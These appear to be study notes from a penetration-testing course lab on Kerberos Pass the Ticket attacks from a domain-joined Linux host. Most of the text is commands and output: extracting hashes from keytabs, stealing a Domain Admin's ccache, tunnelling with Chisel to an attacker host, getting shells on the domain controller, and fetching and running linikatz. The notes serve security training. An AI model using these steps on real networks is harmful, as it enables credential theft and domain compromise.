Pass the Ticket (PtT) - Linux

Check If Linux Machine is Domain Joined

realm

[e-mail]@linux01:~$ realm list

inlanefreight.htb
  type: kerberos
  realm-name: INLANEFREIGHT.HTB
  domain-name: inlanefreight.htb
  configured: kerberos-member
  server-software: active-directory
  client-software: sssd
  required-package: sssd-tools
  required-package: sssd
  required-package: libnss-sss
  required-package: libpam-sss
  required-package: adcli
  required-package: samba-common-bin
  login-formats: [e-mail]
  login-policy: allow-permitted-logins
  permitted-logins: [e-mail], [e-mail]
  permitted-groups: Linux Admins

PS

$ ps -ef | grep -i "winbind\|sssd"

root        2140       1  0 Sep29 ?        00:00:01 /usr/sbin/sssd -i --logger=files
root        2141    2140  0 Sep29 ?        00:00:08 /usr/libexec/sssd/sssd_be --domain inlanefreight.htb --uid 0 --gid 0 --logger=files
root        2142    2140  0 Sep29 ?        00:00:03 /usr/libexec/sssd/sssd_nss --uid 0 --gid 0 --logger=files
root        2143    2140  0 Sep29 ?        00:00:03 /usr/libexec/sssd/sssd_pam --uid 0 --gid 0 --logger=files

Finding Kerberos Tickets in Linux

Using Find to Search for Files with Keytab in the Name

$ find / -name *keytab* -ls 2>/dev/null

<SNIP>

   131610      4 -rw-------   1 root     root         1348 Oct  4 16:26 /etc/krb5.keytab
   262169      4 -rw-rw-rw-   1 root     root          216 Oct 12 15:13 /opt/specialfiles/carlos.keytab

To use a keytab file, we must have read and write (rw) privileges on the file.

Identifying Keytab Files in Cronjobs

$ crontab -l

# Edit this file to introduce tasks to be run by cron.
# 
<SNIP>
# 
# m h  dom mon dow   command
*5/ * * * * /home/[e-mail]/.scripts/kerberos_script_test.sh

$ cat /home/[e-mail]/.scripts/kerberos_script_test.sh
#!/bin/bash

kinit [e-mail] -k -t /home/[e-mail]/.scripts/svc_workstations.kt
smbclient //dc01.inlanefreight.htb/svc_workstations -c 'ls'  -k -no-pass > /home/[e-mail]/script-test-results.txt

Finding ccache Files

Reviewing Environment Variables for ccache Files.

$ env | grep -i krb5

KRB5CCNAME=FILE:/tmp/krb5cc_647402606_qd2Pfh

Searching for ccache Files in /tmp

$ ls -la /tmp

total 68
drwxrwxrwt 13 root                     root                           4096 Oct  6 16:38 .
drwxr-xr-x 20 root                     root                           4096 Oct  6  2021 ..
-rw-------  1 [e-mail]  domain [e-mail] 1406 Oct  6 16:38 krb5cc_647401106_tBswau
-rw-------  1 [e-mail]  domain [e-mail] 1406 Oct  6 15:23 krb5cc_647401107_Gf415d
-rw-------  1 [e-mail] domain [e-mail] 1433 Oct  6 15:43 krb5cc_647402606_qd2Pfh

Abusing KeyTab Files

Listing keytab File Information

$ klist -k -t 

/opt/specialfiles/carlos.keytab 
Keytab name: FILE:/opt/specialfiles/carlos.keytab
KVNO Timestamp           Principal
---- ------------------- ------------------------------------------------------
   1 10/06/2022 17:09:13 [e-mail]

klist Not found: sudo apt-get _install_ krb5-user

Impersonating a User with a keytab

$ klist 

Ticket cache: FILE:/tmp/krb5cc_647401107_r5qiuu
Default principal: [e-mail]

Valid starting     Expires            Service principal
10/06/22 17:02:11  10/07/22 03:02:11  krbtgt/[e-mail]
        renew until 10/07/22 17:02:11

$ kinit [e-mail] -k -t /opt/specialfiles/carlos.keytab

$ klist 
Ticket cache: FILE:/tmp/krb5cc_647401107_r5qiuu
Default principal: [e-mail]

Valid starting     Expires            Service principal
10/06/22 17:16:11  10/07/22 03:16:11  krbtgt/[e-mail]
        renew until 10/07/22 17:16:11

Connecting to SMB Share as another user

$ smbclient //dc01/carlos -k -c ls

  .                                   D        0  Thu Oct  6 14:46:26 2022
  ..                                  D        0  Thu Oct  6 14:46:26 2022
  carlos.txt                          A       15  Thu Oct  6 14:46:54 2022

                7706623 blocks of size 4096. 4452852 blocks available

Keytab Extract

GitHub - sosdave/KeyTabExtract: Extracts Key Values from .keytab filesGitHub

We were able to impersonate Carlos using the account's tickets to read a shared folder in the domain, but if we want to gain access to his account on the Linux machine, we'll need his password.

We can attempt to crack the account's password by extracting the hashes from the keytab file. Let's use KeyTabExtract, a tool to extract valuable information from 502-type .keytab files, which may be used to authenticate Linux boxes to Kerberos.

1. Extracting Keytab Hashes with KeyTabExtract

$ python3 /opt/keytabextract.py /opt/specialfiles/carlos.keytab 

[*] RC4-HMAC Encryption detected. Will attempt to extract NTLM hash.
[*] AES256-CTS-HMAC-SHA1 key found. Will attempt hash extraction.
[*] AES128-CTS-HMAC-SHA1 hash discovered. Will attempt hash extraction.
[+] Keytab File successfully imported.
        REALM : INLANEFREIGHT.HTB
        SERVICE PRINCIPAL : carlos/
        NTLM HASH : a738f92b3c08b424ec2d99589a9cce60
        AES-256 HASH : 42ff0baa586963d9010584eb9590595e8cd47c489e25e82aae69b1de2943007f
        AES-128 HASH : fa74d5abf4061baa1d4ff8485d1261c4

With the NTLM hash, we can perform a Pass the Hash (PtH) attack. With the AES256 or AES128 hash, we can forge our tickets using Rubeus or attempt to crack the hashes to obtain the plaintext password.

CrackStation - Online Password Hash Cracking - MD5, SHA1, Linux, Rainbow Tables, etc.

NTLM to plaintext password lookupNTLM.PW

2. Log in as Carlos

$ su - [e-mail]

Password: 
$ klist 
Ticket cache: FILE:/tmp/krb5cc_647402606_ZX6KFA
Default principal: [e-mail]

Valid starting       Expires              Service principal
10/07/2022 11:01:13  10/07/2022 21:01:13  krbtgt/[e-mail]
        renew until 10/08/2022 11:01:13

Abusing Keytab ccache

To abuse a ccache file, all we need is read privileges on the file. These files, located in /tmp, can only be read by the user who created them, but if we gain root access, we could use them.

Privilege Escalation to Root

Privilege Escalation

$ ssh [e-mail]@10.129.204.23 -p 2222
                  
[e-mail]@10.129.204.23's password: 
Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.4.0-126-generic x86_64)          
...SNIP...

[e-mail]@linux01:~$ sudo -l
[sudo] password for [e-mail]: 
Matching Defaults entries for [e-mail] on linux01:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User [e-mail] may run the following commands on linux01:
    (ALL) ALL
[e-mail]@linux01:~$ sudo su
root@linux01:/home/[e-mail]# whoami
root

Looking for ccache Files

ls -la /tmp

total 76
drwxrwxrwt 13 root                               root                           4096 Oct  7 11:35 .
drwxr-xr-x 20 root                               root                           4096 Oct  6  2021 ..
-rw-------  1 [e-mail]            domain [e-mail] 1406 Oct  7 11:35 krb5cc_647401106_HRJDux
-rw-------  1 [e-mail]            domain [e-mail] 1406 Oct  7 11:35 krb5cc_647401106_qMKxc6
-rw-------  1 [e-mail]            domain [e-mail] 1406 Oct  7 10:43 krb5cc_647401107_O0oUWh
-rw-------  1 [e-mail] domain [e-mail] 1535 Oct  7 11:21 krb5cc_647401109_D7gVZF
-rw-------  1 [e-mail]           domain [e-mail] 3175 Oct  7 11:35 krb5cc_647402606
-rw-------  1 [e-mail]           domain [e-mail] 1433 Oct  7 11:01 krb5cc_647402606_ZX6KFA

Identifying Group Membership with the id Command

# id [e-mail]

uid=647401106([e-mail]) gid=647400513(domain [e-mail]) groups=647400513(domain [e-mail]),647400512(domain [e-mail]),647400572(denied rodc password replication [e-mail])

Julio is a member of the Domain Admins group.

Use a ccache file

To use a ccache file, we can copy the ccache file and assign the file path to the KRB5CCNAME variable.

root@linux01:~# klist

klist: No credentials cache found (filename: /tmp/krb5cc_0)
root@linux01:~# cp /tmp/krb5cc_647401106_I8I133 .
root@linux01:~# export KRB5CCNAME=/root/krb5cc_647401106_I8I133
root@linux01:~# klist
Ticket cache: FILE:/root/krb5cc_647401106_I8I133
Default principal: [e-mail]

Valid starting       Expires              Service principal
10/07/2022 13:25:01  10/07/2022 23:25:01  krbtgt/[e-mail]
        renew until 10/08/2022 13:25:01
root@linux01:~# smbclient //dc01/C$ -k -c ls -no-pass
  $Recycle.Bin                      DHS        0  Wed Oct  6 17:31:14 2021
  Config.Msi                        DHS        0  Wed Oct  6 14:26:27 2021
  Documents and Settings          DHSrn        0  Wed Oct  6 20:38:04 2021
  john                                D        0  Mon Jul 18 13:19:50 2022
  julio                               D        0  Mon Jul 18 13:54:02 2022
  pagefile.sys                      AHS 738197504  Thu Oct  6 21:32:44 2022
  PerfLogs                            D        0  Fri Feb 25 16:20:48 2022
  Program Files                      DR        0  Wed Oct  6 20:50:50 2021
  Program Files (x86)                 D        0  Mon Jul 18 16:00:35 2022
  ProgramData                       DHn        0  Fri Aug 19 12:18:42 2022
  SharedFolder                        D        0  Thu Oct  6 14:46:20 2022
  System Volume Information         DHS        0  Wed Jul 13 19:01:52 2022
  tools                               D        0  Thu Sep 22 18:19:04 2022
  Users                              DR        0  Thu Oct  6 11:46:05 2022
  Windows                             D        0  Wed Oct  5 13:20:00 2022

                7706623 blocks of size 4096. 4447612 blocks available

Using Linux Attack Tools with Kerberos

In this scenario, our attack host doesn't have a connection to the KDC/Domain Controller, and we can't use the Domain Controller for name resolution. To use Kerberos, we need to proxy our traffic via MS01 with a tool such as Chisel and Proxychains and edit the /etc/hosts file to hardcode IP addresses of the domain and the machines we want to attack.

Easier with Ligolo-NG

Pivot, Tunneling and Port Forwarding

Transfer ccache file

Host File Modified

0xss0rz@htb[/htb]$ cat /etc/hosts

# Host addresses

172.16.1.10 inlanefreight.htb   inlanefreight   dc01.inlanefreight.htb  dc01
172.16.1.5  ms01.inlanefreight.htb  ms01

We need to modify our proxychains configuration file to use socks5 and port 1080.

Proxychains Configuration File

0xss0rz@htb[/htb]$ cat /etc/proxychains.conf

<SNIP>

[ProxyList]
socks5 127.0.0.1 1080

https://github.com/jpillora/chisel

Download Chisel to our Attack Host

0xss0rz@htb[/htb]$ wget https://github.com/jpillora/chisel/releases/download/v1.7.7/chisel_1.7.7_linux_amd64.gz
0xss0rz@htb[/htb]$ gzip -d chisel_1.7.7_linux_amd64.gz
0xss0rz@htb[/htb]$ mv chisel_* chisel && chmod +x ./chisel
0xss0rz@htb[/htb]$ sudo ./chisel server --reverse 

2022/10/10 07:26:15 server: Reverse tunneling enabled
2022/10/10 07:26:15 server: Fingerprint 58EulHjQXAOsBRpxk232323sdLHd0r3r2nrdVYoYeVM=
2022/10/10 07:26:15 server: Listening on http://0.0.0.0:8080

Connect to MS01 via RDP and execute chisel (located in C:\Tools).

Connect to MS01 with xfreerdp

0xss0rz@htb[/htb]$ xfreerdp /v:10.129.204.23 /u:david /d:inlanefreight.htb /p:Password2 /dynamic-resolution

Execute chisel from MS01

C:\htb> c:\tools\chisel.exe client 10.10.14.33:8080 R:socks

2022/10/10 06:34:19 client: Connecting to ws://10.10.14.33:8080
2022/10/10 06:34:20 client: Connected (Latency 125.6177ms)

Finally, we need to transfer Julio's ccache file from LINUX01 and create the environment variable KRB5CCNAME with the value corresponding to the path of the ccache file.

Setting the KRB5CCNAME Environment Variable

0xss0rz@htb[/htb]$ export KRB5CCNAME=/home/htb-student/krb5cc_647401106_I8I133

Impacket

To use the Kerberos ticket, we need to specify our target machine name (not the IP address) and use the option -k. If we get a prompt for a password, we can also include the option -no-pass.

Using Impacket with proxychains and Kerberos Authentication

0xss0rz@htb[/htb]$ proxychains impacket-wmiexec dc01 -k

[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.14
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

[proxychains] Strict chain  ...  127.0.0.1:1080  ...  dc01:445  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  INLANEFREIGHT.HTB:88  ...  OK
[*] SMBv3.0 dialect used
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  dc01:135  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  INLANEFREIGHT.HTB:88  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  dc01:50713  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  INLANEFREIGHT.HTB:88  ...  OK
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
inlanefreight\julio

Evil-WinRM

Evil-WinRM

Using Evil-WinRM with Kerberos

0xss0rz@htb[/htb]$ proxychains evil-winrm -i dc01 -r inlanefreight.htb

[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.14

Evil-WinRM shell v3.3

Warning: Remote path completions are disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint

[proxychains] Strict chain  ...  127.0.0.1:1080  ...  dc01:5985  ...  OK
*Evil-WinRM* PS C:\Users\julio\Documents> whoami ; hostname
inlanefreight\julio
DC01

Miscellaneous

If we want to use a ccache file in Windows or a kirbi file in a Linux machine, we can use impacket-ticketConverter to convert them. To use it, we specify the file we want to convert and the output filename. Let's convert Julio's ccache file to kirbi.

Impacket Ticket Converter

https://github.com/fortra/impacket/blob/master/examples/ticketConverter.py

or git clone https://github.com/zer1t0/ticket_converter.git - See Zephyr WU

0xss0rz@htb[/htb]$ impacket-ticketConverter krb5cc_647401106_I8I133 julio.kirbi

Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

[*] converting ccache to kirbi...
[+] done

We can do the reverse operation by first selecting a .kirbi file. Let's use the .kirbi file in Windows.

Importing Converted Ticket into Windows Session with Rubeus

C:\htb> C:\tools\Rubeus.exe ptt /ticket:c:\tools\julio.kirbi

Linikatz

GitHub - CiscoCXSecurity/linikatz: linikatz is a tool to attack AD on UNIXGitHub

Just like Mimikatz, to take advantage of Linikatz, we need to be root on the machine. This tool will extract all credentials, including Kerberos tickets, from different Kerberos implementations such as FreeIPA, SSSD, Samba, Vintella, etc. Once it extracts the credentials, it places them in a folder whose name starts with linikatz.. Inside this folder, you will find the credentials in the different available formats, including ccache and keytabs.

$ wget https://raw.githubusercontent.com/CiscoCXSecurity/linikatz/master/linikatz.sh
$ /opt/linikatz.sh